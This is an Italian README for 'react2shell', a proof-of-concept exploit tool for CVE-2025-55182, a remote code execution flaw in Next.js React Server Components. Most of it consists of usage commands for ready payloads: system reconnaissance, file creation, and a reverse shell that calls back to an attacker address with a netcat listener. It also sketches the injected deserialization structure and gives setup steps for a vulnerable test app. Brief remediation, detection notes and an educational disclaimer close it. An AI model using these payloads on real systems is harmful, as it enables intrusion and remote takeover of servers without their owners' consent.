
Un framework completo per sfruttare la vulnerabilità CVE-2025-55182
Un proof-of-concept dell'exploit per CVE-2025-55182, una vulnerabilità critica di Remote Code Execution nelle applicazioni Next.js che utilizzano React Server Components.
QUESTO STRUMENTO È SOLO PER TEST DI SICUREZZA EDUCATIVI E AUTORIZZATI.
# Clona o scarica questo repository
git clone https://github.com/zr0n/react2shell
cd react2shell
# Installa le dipendenze
npm install form-data
node react2shell.js <url_target> <tipo_payload> [opzioni]
| Payload | Descrizione | Esempio |
|---|---|---|
basic | Prova di concetto matematica (7*7+1=50) | node react2shell.js http://target:3000 basic |
whoami | Mostra l'utente corrente del sistema | node react2shell.js http://target:3000 whoami |
dir | Elenca il contenuto della directory corrente | node react2shell.js http://target:3000 dir |
systeminfo | Mostra le informazioni del sistema operativo | node react2shell.js http://target:3000 systeminfo |
file | Crea il file di prova EXPLOITED.txt | node react2shell.js http://target:3000 file |
calc | Avvia la calcolatrice (prova visiva Windows) | node react2shell.js http://target:3000 calc |
notepad | Avvia il blocco note (prova visiva Windows) | node react2shell.js http://target:3000 notepad |
shell | Reverse shell (rilevamento automatico Windows/Linux) | node react2shell.js http://target:3000 shell 10.10.10.5 4444 |
node react2shell.js http://localhost:3000 basic
# Controlla la console del server per l'output: EXPLOITED: 50
# Ottieni l'utente corrente
node react2shell.js http://localhost:3000 whoami
# Elenca i file
node react2shell.js http://localhost:3000 dir
# Informazioni di sistema
node react2shell.js http://localhost:3000 systeminfo
# Avvia la calcolatrice
node react2shell.js http://localhost:3000 calc
# Avvia il blocco note
node react2shell.js http://localhost:3000 notepad
node react2shell.js http://localhost:3000 file
# Controlla la directory del server per EXPLOITED.txt
# Terminale 1: Avvia il listener
nc -lvnp 4444
# Terminale 2: Esegui l'exploit
node react2shell.js http://localhost:3000 shell <TUO_IP> 4444
# Funziona sia su Windows (PowerShell) che su Linux (Bash)
# Crea la directory del progetto
mkdir vulnerable-nextjs-app
cd vulnerable-nextjs-app
# Inizializza Next.js con versione vulnerabile
npx create-next-app@latest . --ts --app --no-eslint --tailwind
# Downgrade alla versione vulnerabile
npm install [email protected]
# Installa le dipendenze
npm install
app/page.tsx)export default function Home() {
return (
<div className="p-8">
<h1 className="text-4xl font-bold">Vulnerable Next.js App</h1>
<p className="mt-4">This app is vulnerable to CVE-2025-55182</p>
</div>
);
}
npm run dev
# Il server è in esecuzione su http://localhost:3000
L'exploit sfrutta una vulnerabilità di deserializzazione nei React Server Components:
constructor.constructor per accedere al costruttore di funzioni_prefix// Catena di vulnerabilità semplificata
{
_formData: {
get: '$3:constructor:constructor' // Accesso al costruttore di funzioni
},
_prefix: 'YOUR_CODE_HERE//' // Codice iniettato
}
Aggiornare Immediatamente:
npm update next@latest
npm update react@latest react-dom@latest
Verificare le Versioni Corrette:
npm list next react
Versioni Richieste:
next-actionCercare richieste POST con:
next-actionmultipart/form-dataconstructor, _prefix, _formDataPOST / con header next-action
Chiavi FormData sospette: 0, 1, 2, 3, 4
Risposta: 200 (exploit riuscito) o 500 (fallito)
Questo è uno strumento educativo. Sono benvenuti contributi che migliorano:
NON inviare contributi che migliorano le capacità di attacco.
Solo per uso educativo - Nessuna garanzia fornita
Luiz Fernando Ziron Creato a scopo di educazione e sensibilizzazione sulla sicurezza informatica.
Utilizzando questo strumento, accetti di:
L'accesso non autorizzato a sistemi informatici è un reato nella maggior parte delle giurisdizioni.
Resta al sicuro, resta etico, resta legale. 🔒